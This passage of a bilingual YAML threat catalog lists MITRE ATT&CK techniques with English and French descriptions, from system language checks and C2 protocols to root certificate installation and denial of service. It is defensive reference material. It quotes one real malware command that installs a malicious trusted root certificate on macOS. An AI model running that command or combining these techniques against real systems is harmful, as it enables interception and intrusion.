          \ Cette d\xE9cision peut \xEAtre utilis\xE9e par les d\xE9veloppeurs et\
          \ les op\xE9rateurs de logiciels malveillants pour r\xE9duire leur risque\
          \ d\u2019attirer l\u2019attention d\u2019organismes d\u2019application de\
          \ la loi sp\xE9cifiques ou de poursuites/examens de la part d\u2019autres\
          \ entit\xE9s. (Citation : V\xE9rification de la langue du syst\xE8me de\
          \ logiciels malveillants)\n\nIl existe diff\xE9rentes sources de donn\xE9\
          es qu\u2019un adversaire peut utiliser pour d\xE9duire le langage du syst\xE8\
          me, telles que les valeurs par d\xE9faut du syst\xE8me et la disposition\
          \ du clavier. Les v\xE9rifications sp\xE9cifiques varient en fonction de\
          \ la cible et/ou de l\u2019adversaire, mais peuvent impliquer des comportements\
          \ tels que [Registre des requ\xEAtes](https://attack.mitre.org/techniques/T1012)\
          \ et des appels aux fonctions [API native](https://attack.mitre.org/techniques/T1106).\
          \ (Citation : CrowdStrike Ryuk, janvier 2019) \n\nPar exemple, sur un syst\xE8\
          me Windows, les adversaires peuvent tenter de d\xE9duire la langue d\u2019\
          un syst\xE8me en interrogeant la cl\xE9 de registre <code>HKEY_LOCAL_MACHINE\\\
          SYSTEM\\CurrentControlSet\\Control\\Nls\\Language</code> ou en analysant\
          \ les sorties des fonctions de l\u2019API Windows <code>GetUserDefaultUILanguage</code>,\
          \ <code>GetSystemDefaultUILanguage</code>, <code>GetKeyboardLayoutList</code>\
          \ et <code>GetUserDefaultLangID</code>. (Citation : Darkside Ransomware\
          \ Cybereason)(Citation : Securelist JSWorm)(Citation : SecureList SynAck\
          \ Doppelg\xE4nging mai 2018)\n\nSur un syst\xE8me macOS ou Linux, les adversaires\
          \ peuvent interroger les <code>param\xE8tres r\xE9gionaux</code> pour r\xE9\
          cup\xE9rer la valeur de la variable d\u2019environnement <code>$LANG</code>.\n\
          https://attack.mitre.org/techniques/T1614/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1095
    ref_id: T1095
    name: Non-Application Layer Protocol
    description: 'Adversaries may use an OSI non-application layer protocol for communication
      between host and C2 server or among infected hosts within a network. The list
      of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples
      include use of network layer protocols, such as the Internet Control Message
      Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol
      (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled
      protocols, such as Serial over LAN (SOL).


      ICMP communication between hosts is one example.(Citation: Cisco Synful Knock
      Evolution) Because ICMP is part of the Internet Protocol Suite, it is required
      to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However,
      it is not as commonly monitored as other Internet Protocols such as TCP or UDP
      and may be used by adversaries to hide communications.

      https://attack.mitre.org/techniques/T1095'
    translations:
      fr:
        name: Protocole de couche non-application
        description: "Les adversaires peuvent utiliser un protocole OSI non applicatif\
          \ pour la communication entre l\u2019h\xF4te et le serveur C2 ou entre les\
          \ h\xF4tes infect\xE9s au sein d\u2019un r\xE9seau. La liste des protocoles\
          \ possibles est longue. (Citation : Wikip\xE9dia OSI) Des exemples sp\xE9\
          cifiques incluent l\u2019utilisation de protocoles de couche r\xE9seau,\
          \ tels que l\u2019Internet Control Message Protocol (ICMP Protocol), de\
          \ protocoles de couche transport, tels que le protocole UDP (User Datagram\
          \ Protocol), de protocoles de couche session, tels que Socket Secure (SOCKS),\
          \ ainsi que de protocoles redirig\xE9s/tunnelis\xE9s, tels que Serial over\
          \ LAN (SOL).\n\nLa communication ICMP entre les h\xF4tes en est un exemple.\
          \ (Citation : Cisco Synful Knock Evolution) \xC9tant donn\xE9 que ICMP fait\
          \ partie de la suite de protocoles Internet, il doit \xEAtre mis en \u0153\
          uvre par tous les h\xF4tes compatibles IP. (Citation : Microsoft ICMP) Cependant,\
          \ il n\u2019est pas aussi couramment surveill\xE9 que d\u2019autres protocoles\
          \ Internet tels que TCP ou UDP et peut \xEAtre utilis\xE9 par des adversaires\
          \ pour masquer les communications.\nhttps://attack.mitre.org/techniques/T1095"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1027.003
    ref_id: T1027.003
    name: Steganography
    description: "Adversaries may use steganography techniques in order to prevent\
      \ the detection of hidden information. Steganographic techniques can be used\
      \ to hide data in digital media such as images, audio tracks, video clips, or\
      \ text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early\
      \ example of malware that used steganography. It encrypted the gathered information\
      \ from a victim's system and hid it within an image before exfiltrating the\
      \ image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a\
      \ threat group used\u202F<code>Invoke-PSImage</code>\u202Fto hide [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
      \ commands in an image file (.png) and execute the code on a victim's system.\
      \ In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
      \ code downloaded another obfuscated script to gather intelligence from the\
      \ victim's machine and communicate it back to the adversary.(Citation: McAfee\
      \ Malicious Doc Targets Pyeongchang Olympics)\nhttps://attack.mitre.org/techniques/T1027/003"
    translations:
      fr:
        name: "St\xE9ganographie"
        description: "Les adversaires peuvent utiliser des techniques de st\xE9ganographie\
          \ afin d\u2019emp\xEAcher la d\xE9tection d\u2019informations cach\xE9es.\
          \ Les techniques st\xE9ganographiques peuvent \xEAtre utilis\xE9es pour\
          \ masquer des donn\xE9es dans des m\xE9dias num\xE9riques tels que des images,\
          \ des pistes audio, des clips vid\xE9o ou des fichiers texte.\n\n[Duqu](https://attack.mitre.org/software/S0038)\
          \ \xE9tait un des premiers exemples de logiciels malveillants utilisant\
          \ la st\xE9ganographie. Il cryptait les informations recueillies \xE0 partir\
          \ du syst\xE8me d\u2019une victime et les cachait dans une image avant d\u2019\
          exfiltrer l\u2019image vers un serveur C2. (Citation : Wikip\xE9dia Duqu)\
          \ \n\n\xC0 la fin de l\u2019ann\xE9e 2017, un groupe de menaces a utilis\xE9\
          \ <code>Invoke-PSImage</code> pour masquer les commandes [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
          \ dans un fichier image (.png) et ex\xE9cuter le code sur le syst\xE8me\
          \ d\u2019une victime. Dans ce cas particulier, le code [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
          \ a t\xE9l\xE9charg\xE9 un autre script obfusqu\xE9 pour recueillir des\
          \ informations sur l\u2019ordinateur de la victime et les communiquer \xE0\
          \ l\u2019adversaire. (Citation : Un document malveillant McAfee cible les\
          \ Jeux olympiques de Pyeongchang)\nhttps://attack.mitre.org/techniques/T1027/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1584.002
    ref_id: T1584.002
    name: DNS Server
    description: 'Adversaries may compromise third-party DNS servers that can be used
      during targeting. During post-compromise activity, adversaries may utilize DNS
      traffic for various tasks, including for Command and Control (ex: [Application
      Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting
      up their own DNS servers, adversaries may compromise third-party DNS servers
      in support of operations.


      By compromising DNS servers, adversaries can alter DNS records. Such control
      can allow for redirection of an organization''s traffic, facilitating Collection
      and Credential Access efforts for the adversary.(Citation: Talos DNSpionage
      Nov 2018)(Citation: FireEye DNS Hijack 2019)  Additionally, adversaries may
      leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)
      to redirect traffic to adversary-controlled infrastructure, mimicking normal
      trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation:
      Crowdstrike DNS Hijack 2019) Adversaries may also be able to silently create
      subdomains pointed at malicious servers without tipping off the actual owner
      of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)

      https://attack.mitre.org/techniques/T1584/002'
    translations:
      fr:
        name: Serveur DNS
        description: "Les adversaires peuvent compromettre les serveurs DNS tiers\
          \ qui peuvent \xEAtre utilis\xE9s lors du ciblage. Au cours de l\u2019activit\xE9\
          \ post-compromission, les adversaires peuvent utiliser le trafic DNS pour\
          \ diverses t\xE2ches, notamment pour la commande et le contr\xF4le (ex :\
          \ [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)).\
          \ Au lieu de configurer leurs propres serveurs DNS, les adversaires peuvent\
          \ compromettre des serveurs DNS tiers pour soutenir les op\xE9rations.\n\
          \nEn compromettant les serveurs DNS, les adversaires peuvent modifier les\
          \ enregistrements DNS. Un tel contr\xF4le peut permettre de rediriger le\
          \ trafic d\u2019une organisation, facilitant ainsi les efforts de collecte\
          \ et d\u2019acc\xE8s aux informations d\u2019identification pour l\u2019\
          adversaire. (Citation : Talos DNSpionage novembre 2018)(Citation : FireEye\
          \ DNS Hijack 2019)  De plus, les adversaires peuvent exploiter ce contr\xF4\
          le en conjonction avec les [Certificats num\xE9riques](https://attack.mitre.org/techniques/T1588/004)\
          \ pour rediriger le trafic vers une infrastructure contr\xF4l\xE9e par l\u2019\
          adversaire, imitant les communications r\xE9seau normales et fiables. (Citation\
          \ : FireEye DNS Hijack 2019)(Citation : Crowdstrike DNS Hijack 2019) Les\
          \ adversaires peuvent \xE9galement \xEAtre en mesure de cr\xE9er silencieusement\
          \ des sous-domaines point\xE9s vers des serveurs malveillants sans informer\
          \ le propri\xE9taire r\xE9el du serveur DNS. (Citation : CiscoAngler)(Citation\
          \ : Proofpoint Domain Shadowing)\nhttps://attack.mitre.org/techniques/T1584/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1001.003
    ref_id: T1001.003
    name: Protocol or Service Impersonation
    description: "Adversaries may impersonate legitimate protocols or web service\
      \ traffic to disguise command and control activity and thwart analysis efforts.\
      \ By impersonating legitimate protocols or web services, adversaries can make\
      \ their command and control traffic blend in with legitimate network traffic.\
      \  \n\nAdversaries may impersonate a fake SSL/TLS handshake to make it look\
      \ like subsequent traffic is SSL/TLS encrypted, potentially interfering with\
      \ some security tooling, or to make the traffic look like it is related with\
      \ a trusted entity. \n\nAdversaries may also leverage legitimate protocols to\
      \ impersonate expected web traffic or trusted services. For example, adversaries\
      \ may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted\
      \ data to disguise C2 communications or mimic legitimate services such as Gmail,\
      \ Google Drive, and Yahoo Messenger.(Citation: ESET Okrum July 2019)(Citation:\
      \ Malleable-C2-U42)\nhttps://attack.mitre.org/techniques/T1001/003"
    translations:
      fr:
        name: "Usurpation d\u2019identit\xE9 de protocole ou de service"
        description: "Les adversaires peuvent se faire passer pour des protocoles\
          \ l\xE9gitimes ou du trafic de service Web pour dissimuler l\u2019activit\xE9\
          \ de commande et de contr\xF4le et contrecarrer les efforts d\u2019analyse.\
          \ En se faisant passer pour des protocoles ou des services Web l\xE9gitimes,\
          \ les adversaires peuvent faire en sorte que leur trafic de commande et\
          \ de contr\xF4le se confond avec le trafic r\xE9seau l\xE9gitime.  \n\n\
          Les adversaires peuvent se faire passer pour une fausse poign\xE9e de main\
          \ SSL/TLS pour faire croire que le trafic suivant est chiffr\xE9 SSL/TLS,\
          \ ce qui peut interf\xE9rer avec certains outils de s\xE9curit\xE9, ou pour\
          \ faire croire que le trafic est li\xE9 \xE0 une entit\xE9 de confiance.\
          \ \n\nLes adversaires peuvent \xE9galement exploiter des protocoles l\xE9\
          gitimes pour usurper l\u2019identit\xE9 du trafic Web attendu ou de services\
          \ de confiance. Par exemple, les adversaires peuvent manipuler les en-t\xEA\
          tes HTTP, les points de terminaison d\u2019URI, les certificats SSL et les\
          \ donn\xE9es transmises pour dissimuler les communications C2 ou imiter\
          \ des services l\xE9gitimes tels que Gmail, Google Drive et Yahoo Messenger.\
          \ (Citation : ESET Okrum juillet 2019)(R\xE9f\xE9rence : Mall\xE9able-C2-U42)\n\
          https://attack.mitre.org/techniques/T1001/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1012
    ref_id: T1012
    name: Query Registry
    description: 'Adversaries may interact with the Windows Registry to gather information
      about the system, configuration, and installed software.


      The Registry contains a significant amount of information about the operating
      system, configuration, software, and security.(Citation: Wikipedia Windows Registry)
      Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075)
      utility, though other means to access the Registry exist. Some of the information
      may help adversaries to further their operation within a network. Adversaries
      may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012)
      during automated discovery to shape follow-on behaviors, including whether or
      not the adversary fully infects the target and/or attempts specific actions.

      https://attack.mitre.org/techniques/T1012'
    translations:
      fr:
        name: "Registre des requ\xEAtes"
        description: "Les adversaires peuvent interagir avec le registre Windows pour\
          \ recueillir des informations sur le syst\xE8me, la configuration et les\
          \ logiciels install\xE9s.\n\nLe registre contient une quantit\xE9 importante\
          \ d\u2019informations sur le syst\xE8me d\u2019exploitation, la configuration,\
          \ les logiciels et la s\xE9curit\xE9. (Citation : Registre Windows de Wikip\xE9\
          dia) Les informations peuvent facilement \xEAtre interrog\xE9es \xE0 l\u2019\
          aide de l\u2019utilitaire [Reg](https://attack.mitre.org/software/S0075),\
          \ bien qu\u2019il existe d\u2019autres moyens d\u2019acc\xE9der au registre.\
          \ Certaines de ces informations peuvent aider les adversaires \xE0 poursuivre\
          \ leurs op\xE9rations au sein d\u2019un r\xE9seau. Les adversaires peuvent\
          \ utiliser les informations du [Registre des requ\xEAtes](https://attack.mitre.org/techniques/T1012)\
          \ lors de la d\xE9couverte automatique pour fa\xE7onner les comportements\
          \ de suivi, notamment si l\u2019adversaire infecte compl\xE8tement la cible\
          \ et/ou tente ou non des actions sp\xE9cifiques.\nhttps://attack.mitre.org/techniques/T1012"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1030
    ref_id: T1030
    name: Data Transfer Size Limits
    description: 'An adversary may exfiltrate data in fixed size chunks instead of
      whole files or limit packet sizes below certain thresholds. This approach may
      be used to avoid triggering network data transfer threshold alerts.

      https://attack.mitre.org/techniques/T1030'
    translations:
      fr:
        name: "Limites de taille de transfert de donn\xE9es"
        description: "Un adversaire peut exfiltrer des donn\xE9es en blocs de taille\
          \ fixe au lieu de fichiers entiers ou limiter la taille des paquets en dessous\
          \ de certains seuils. Cette approche peut \xEAtre utilis\xE9e pour \xE9\
          viter de d\xE9clencher des alertes de seuil de transfert de donn\xE9es r\xE9\
          seau.\nhttps://attack.mitre.org/techniques/T1030"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1550.004
    ref_id: T1550.004
    name: Web Session Cookie
    description: 'Adversaries can use stolen session cookies to authenticate to web
      applications and services. This technique bypasses some multi-factor authentication
      protocols since the session is already authenticated.(Citation: Pass The Cookie)


      Authentication cookies are commonly used in web applications, including cloud-based
      services, after a user has authenticated to the service so credentials are not
      passed and re-authentication does not need to occur as frequently. Cookies are
      often valid for an extended period of time, even if the web application is not
      actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)
      or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary
      may then import the cookie into a browser they control and is then able to use
      the site or application as the user for as long as the session cookie is active.
      Once logged into the site, an adversary can access sensitive information, read
      email, or perform actions that the victim account has permissions to perform.


      There have been examples of malware targeting session cookies to bypass multi-factor
      authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)

      https://attack.mitre.org/techniques/T1550/004'
    translations:
      fr:
        name: Web Session Cookie
        description: "Les adversaires peuvent utiliser des cookies de session vol\xE9\
          s pour s\u2019authentifier aupr\xE8s d\u2019applications et de services\
          \ Web. Cette technique contourne certains protocoles d\u2019authentification\
          \ multifactorielle puisque la session est d\xE9j\xE0 authentifi\xE9e. (Citation\
          \ : Passez le cookie)\n\nLes cookies d\u2019authentification sont couramment\
          \ utilis\xE9s dans les applications Web, y compris les services bas\xE9\
          s sur le cloud, une fois qu\u2019un utilisateur s\u2019est authentifi\xE9\
          \ aupr\xE8s du service afin que les informations d\u2019identification ne\
          \ soient pas transmises et que la r\xE9authentification n\u2019ait pas besoin\
          \ d\u2019\xEAtre aussi fr\xE9quente. Les cookies sont souvent valables pour\
          \ une p\xE9riode prolong\xE9e, m\xEAme si l\u2019application web n\u2019\
          est pas utilis\xE9e activement. Une fois que le cookie a \xE9t\xE9 obtenu\
          \ par le biais de [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)\
          \ ou [Web Cookies](https://attack.mitre.org/techniques/T1606/001), l\u2019\
          adversaire peut alors importer le cookie dans un navigateur qu\u2019il contr\xF4\
          le et est alors en mesure d\u2019utiliser le site ou l\u2019application\
          \ en tant qu\u2019utilisateur tant que le cookie de session est actif. Une\
          \ fois connect\xE9 au site, un adversaire peut acc\xE9der \xE0 des informations\
          \ sensibles, lire des e-mails ou effectuer des actions que le compte victime\
          \ est autoris\xE9 \xE0 effectuer.\n\nIl y a eu des exemples de logiciels\
          \ malveillants ciblant les cookies de session pour contourner les syst\xE8\
          mes d\u2019authentification multifacteur. (Citation : Unit 42 Mac Crypto\
          \ Cookies Janvier 2019)\nhttps://attack.mitre.org/techniques/T1550/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1078.002
    ref_id: T1078.002
    name: Domain Accounts
    description: 'Adversaries may obtain and abuse credentials of a domain account
      as a means of gaining Initial Access, Persistence, Privilege Escalation, or
      Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those
      managed by Active Directory Domain Services where access and permissions are
      configured across systems and services that are part of that domain. Domain
      accounts can cover users, administrators, and services.(Citation: Microsoft
      AD Accounts)


      Adversaries may compromise domain accounts, some with a high level of privileges,
      through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003)
      or password reuse, allowing access to privileged resources of the domain.

      https://attack.mitre.org/techniques/T1078/002'
    translations:
      fr:
        name: Comptes de domaine
        description: "Les adversaires peuvent obtenir et abuser des informations d\u2019\
          identification d\u2019un compte de domaine comme moyen d\u2019obtenir l\u2019\
          acc\xE8s initial, la persistance, l\u2019\xE9l\xE9vation de privil\xE8ges\
          \ ou l\u2019\xE9vasion de la d\xE9fense. (Citation : Vol d\u2019informations\
          \ d\u2019identification TechNet) Les comptes de domaine sont ceux g\xE9\
          r\xE9s par les services de domaine Active Directory o\xF9 l\u2019acc\xE8\
          s et les autorisations sont configur\xE9s sur les syst\xE8mes et services\
          \ qui font partie de ce domaine. Les comptes de domaine peuvent couvrir\
          \ les utilisateurs, les administrateurs et les services. (Citation : Comptes\
          \ Microsoft AD)\n\nLes adversaires peuvent compromettre les comptes de domaine,\
          \ certains avec un niveau \xE9lev\xE9 de privil\xE8ges, par divers moyens\
          \ tels que le [d\xE9chargement des informations d\u2019identification du\
          \ syst\xE8me d\u2019exploitation](https://attack.mitre.org/techniques/T1003)\
          \ ou la r\xE9utilisation du mot de passe, permettant d\u2019acc\xE9der aux\
          \ ressources privil\xE9gi\xE9es du domaine.\nhttps://attack.mitre.org/techniques/T1078/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1218.009
    ref_id: T1218.009
    name: Regsvcs/Regasm
    description: 'Adversaries may abuse Regsvcs and Regasm to proxy execution of code
      through a trusted Windows utility. Regsvcs and Regasm are Windows command-line
      utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001)
      (COM) assemblies. Both are binaries that may be digitally signed by Microsoft.
      (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)


      Both utilities may be used to bypass application control through use of attributes
      within the binary to specify code that should be run before registration or
      unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code>
      respectively. The code with the registration and unregistration attributes will
      be executed even if the process is run under insufficient privileges and fails
      to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)

      https://attack.mitre.org/techniques/T1218/009'
    translations:
      fr:
        name: Regsvcs/Regasm
        description: "Les adversaires peuvent abuser de Regsvcs et de Regasm pour\
          \ proxy l\u2019ex\xE9cution de code via un utilitaire Windows de confiance.\
          \ Regsvcs et Regasm sont des utilitaires de ligne de commande Windows utilis\xE9\
          s pour enregistrer des assemblys .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\
          \ (COM). Les deux sont des fichiers binaires qui peuvent \xEAtre sign\xE9\
          s num\xE9riquement par Microsoft. (R\xE9f\xE9rence : MSDN Regsvcs) (Citation\
          \ : MSDN Regasm)\n\nLes deux utilitaires peuvent \xEAtre utilis\xE9s pour\
          \ contourner le contr\xF4le de l\u2019application en utilisant des attributs\
          \ dans le binaire pour sp\xE9cifier le code qui doit \xEAtre ex\xE9cut\xE9\
          \ avant l\u2019inscription ou la d\xE9sinscription : <code>[ComRegisterFunction]</code>\
          \ ou <code>[ComUnregisterFunction]</code> respectivement. Le code avec les\
          \ attributs d\u2019inscription et de d\xE9sinscription sera ex\xE9cut\xE9\
          \ m\xEAme si le processus est ex\xE9cut\xE9 avec des privil\xE8ges insuffisants\
          \ et ne parvient pas \xE0 s\u2019ex\xE9cuter. (R\xE9f\xE9rence : LOLBAS\
          \ Regsvcs)(Citation : LOLBAS Regasm)\nhttps://attack.mitre.org/techniques/T1218/009"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1553.004
    ref_id: T1553.004
    name: Install Root Certificate
    description: 'Adversaries may install a root certificate on a compromised system
      to avoid warnings when connecting to adversary controlled web servers. Root
      certificates are used in public key cryptography to identify a root certificate
      authority (CA). When a root certificate is installed, the system or application
      will trust certificates in the root''s chain of trust that have been signed
      by the root certificate.(Citation: Wikipedia Root Certificate) Certificates
      are commonly used for establishing secure TLS/SSL communications within a web
      browser. When a user attempts to browse a website that presents a certificate
      that is not trusted an error message will be displayed to warn the user of the
      security risk. Depending on the security settings, the browser may not allow
      the user to establish a connection to the website.


      Installation of a root certificate on a compromised system would give an adversary
      a way to degrade the security of that system. Adversaries have used this technique
      to avoid security warnings prompting users when compromised systems connect
      over HTTPS to adversary controlled web servers that spoof legitimate websites
      in order to collect login credentials.(Citation: Operation Emmental)


      Atypical root certificates have also been pre-installed on systems by the manufacturer
      or in the software supply chain and were used in conjunction with malware/adware
      to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)
      capability for intercepting information transmitted over secure TLS/SSL communications.(Citation:
      Kaspersky Superfish)


      Root certificates (and their associated chains) can also be cloned and reinstalled.
      Cloned certificate chains will carry many of the same metadata characteristics
      of the source and can be used to sign malicious code that may then bypass signature
      validation tools (ex: Sysinternals, antivirus, etc.) used to block execution
      and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec
      2017)


      In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert
      -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code>
      to install a malicious certificate as a trusted root certificate into the system
      keychain.(Citation: objective-see ay mami 2018)

      https://attack.mitre.org/techniques/T1553/004'
    translations:
      fr:
        name: Installer le certificat racine
        description: "Les adversaires peuvent installer un certificat racine sur un\
          \ syst\xE8me compromis pour \xE9viter les avertissements lors de la connexion\
          \ \xE0 des serveurs Web contr\xF4l\xE9s par l\u2019adversaire. Les certificats\
          \ racine sont utilis\xE9s dans le chiffrement \xE0 cl\xE9 publique pour\
          \ identifier une autorit\xE9 de certification racine. Lorsqu\u2019un certificat\
          \ racine est install\xE9, le syst\xE8me ou l\u2019application approuve les\
          \ certificats de la cha\xEEne de confiance de la racine qui ont \xE9t\xE9\
          \ sign\xE9s par le certificat racine. (citation : Certificat racine de Wikip\xE9\
          dia) Les certificats sont couramment utilis\xE9s pour \xE9tablir des communications\
          \ TLS/SSL s\xE9curis\xE9es au sein d\u2019un navigateur Web. Lorsqu\u2019\
          un utilisateur tente de naviguer sur un site Web qui pr\xE9sente un certificat\
          \ non approuv\xE9, un message d\u2019erreur s\u2019affiche pour avertir\
          \ l\u2019utilisateur du risque de s\xE9curit\xE9. En fonction des param\xE8\
          tres de s\xE9curit\xE9, le navigateur peut ne pas permettre \xE0 l\u2019\
          utilisateur d\u2019\xE9tablir une connexion au site web.\n\nL\u2019installation\
          \ d\u2019un certificat racine sur un syst\xE8me compromis donnerait \xE0\
          \ un adversaire un moyen de d\xE9grader la s\xE9curit\xE9 de ce syst\xE8\
          me. Les adversaires ont utilis\xE9 cette technique pour \xE9viter les avertissements\
          \ de s\xE9curit\xE9 demandant aux utilisateurs lorsque des syst\xE8mes compromis\
          \ se connectent via HTTPS \xE0 des serveurs Web contr\xF4l\xE9s par des\
          \ adversaires qui usurpent des sites Web l\xE9gitimes afin de collecter\
          \ des identifiants de connexion. (Citation : Op\xE9ration Emmental)\n\n\
          Des certificats racines atypiques ont \xE9galement \xE9t\xE9 pr\xE9install\xE9\
          s sur les syst\xE8mes par le fabricant ou dans la cha\xEEne d\u2019approvisionnement\
          \ logicielle et ont \xE9t\xE9 utilis\xE9s conjointement avec des logiciels\
          \ malveillants/publicitaires pour fournir une capacit\xE9 [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)\
          \ pour intercepter les informations transmises via des communications TLS/SSL\
          \ s\xE9curis\xE9es. (R\xE9f\xE9rence : Kaspersky Superfish)\n\nLes certificats\
          \ racines (et leurs cha\xEEnes associ\xE9es) peuvent \xE9galement \xEAtre\
          \ clon\xE9s et r\xE9install\xE9s. Les cha\xEEnes de certificats clon\xE9\
          es pr\xE9sentent un grand nombre des m\xEAmes caract\xE9ristiques de m\xE9\
          tadonn\xE9es que la source et peuvent \xEAtre utilis\xE9es pour signer du\
          \ code malveillant qui peut ensuite contourner les outils de validation\
          \ de signature (par exemple, Sysinternals, antivirus, etc.) utilis\xE9s\
          \ pour bloquer l\u2019ex\xE9cution et/ou d\xE9couvrir des artefacts de persistance.\
          \ (Citation : SpectorOps Code Signing d\xE9cembre 2017)\n\nSous macOS, le\
          \ malware Ay MaMi utilise <code>/usr/bin/security add-trusted-cert -d -r\
          \ trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code>\
          \ pour installer un certificat malveillant en tant que certificat racine\
          \ approuv\xE9 dans le trousseau syst\xE8me. (Citation : objectif-voir ay\
          \ mami 2018)\nhttps://attack.mitre.org/techniques/T1553/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1037.003
    ref_id: T1037.003
    name: Network Logon Script
    description: "Adversaries may use network logon scripts automatically executed\
      \ at logon initialization to establish persistence. Network logon scripts can\
      \ be assigned using Active Directory or Group Policy Objects.(Citation: Petri\
      \ Logon Script AD) These logon scripts run with the privileges of the user they\
      \ are assigned to. Depending on the systems within the network, initializing\
      \ one of these scripts could apply to more than one or potentially all systems.\
      \  \n \nAdversaries may use these scripts to maintain persistence on a network.\
      \ Depending on the access configuration of the logon scripts, either local credentials\
      \ or an administrator account may be necessary.\nhttps://attack.mitre.org/techniques/T1037/003"
    translations:
      fr:
        name: "Script d\u2019ouverture de session r\xE9seau"
        description: "Les adversaires peuvent utiliser des scripts d\u2019ouverture\
          \ de session r\xE9seau ex\xE9cut\xE9s automatiquement lors de l\u2019initialisation\
          \ de l\u2019ouverture de session pour \xE9tablir la persistance. Les scripts\
          \ d\u2019ouverture de session r\xE9seau peuvent \xEAtre attribu\xE9s \xE0\
          \ l\u2019aide d\u2019Active Directory ou d\u2019objets de strat\xE9gie de\
          \ groupe. (Citation : Petri Logon Script AD) Ces scripts d\u2019ouverture\
          \ de session s\u2019ex\xE9cutent avec les privil\xE8ges de l\u2019utilisateur\
          \ auquel ils sont attribu\xE9s. Selon les syst\xE8mes du r\xE9seau, l\u2019\
          initialisation de l\u2019un de ces scripts peut s\u2019appliquer \xE0 plus\
          \ d\u2019un ou potentiellement \xE0 tous les syst\xE8mes.  \n \nLes adversaires\
          \ peuvent utiliser ces scripts pour maintenir la persistance sur un r\xE9\
          seau. Selon la configuration d\u2019acc\xE8s des scripts d\u2019ouverture\
          \ de session, des informations d\u2019identification locales ou un compte\
          \ administrateur peuvent \xEAtre n\xE9cessaires.\nhttps://attack.mitre.org/techniques/T1037/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1499
    ref_id: T1499
    name: Endpoint Denial of Service
    description: 'Adversaries may perform Endpoint Denial of Service (DoS) attacks
      to degrade or block the availability of services to users. Endpoint DoS can
      be performed by exhausting the system resources those services are hosted on
      or exploiting the system to cause a persistent crash condition. Example services
      include websites, email services, DNS, and web-based applications. Adversaries
      have been observed conducting DoS attacks for political purposes(Citation: FireEye
      OpPoisonedHandover February 2016) and to support other malicious activities,
      including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism,
      and extortion.(Citation: Symantec DDoS October 2014)


      An Endpoint DoS denies the availability of a service without saturating the
      network used to provide access to the service. Adversaries can target various
      layers of the application stack that is hosted on the system used to provide
      the service. These layers include the Operating Systems (OS), server applications
      such as web servers, DNS servers, databases, and the (typically web-based) applications
      that sit on top of them. Attacking each layer requires different techniques
      that take advantage of bottlenecks that are unique to the respective components.
      A DoS attack may be generated by a single system or multiple systems spread
      across the internet, which is commonly referred to as a distributed DoS (DDoS).


      To perform DoS attacks against endpoint resources, several aspects apply to
      multiple methods, including IP address spoofing and botnets.


      Adversaries may use the original IP address of an attacking system, or spoof
      the source IP address to make the attack traffic more difficult to trace back
      to the attacking system or to enable reflection. This can increase the difficulty
      defenders have in defending against the attack by reducing or eliminating the
      effectiveness of filtering by the source address on network defense devices.


      Botnets are commonly used to conduct DDoS attacks against networks and services.
      Large botnets can generate a significant amount of traffic from systems spread
      across the global internet. Adversaries may have the resources to build out
      and control their own botnet infrastructure or may rent time on an existing
      botnet to conduct an attack. In some of the worst cases for DDoS, so many systems
      are used to generate requests that each one only needs to send out a small amount
      of traffic to produce enough volume to exhaust the target''s resources. In such
      circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly
      difficult. Botnets have been used in some of the most high-profile DDoS attacks,
      such as the 2012 series of incidents that targeted major US banks.(Citation:
      USNYAG IranianBotnet March 2016)


      In cases where traffic manipulation is used, there may be points in the global
      network (such as high traffic gateway routers) where packets can be altered
      and cause legitimate clients to execute code that directs network packets toward
      a target in high volume. This type of capability was previously used for the
      purposes of web censorship where client HTTP traffic was modified to include
      a reference to JavaScript that generated the DDoS code to overwhelm target web
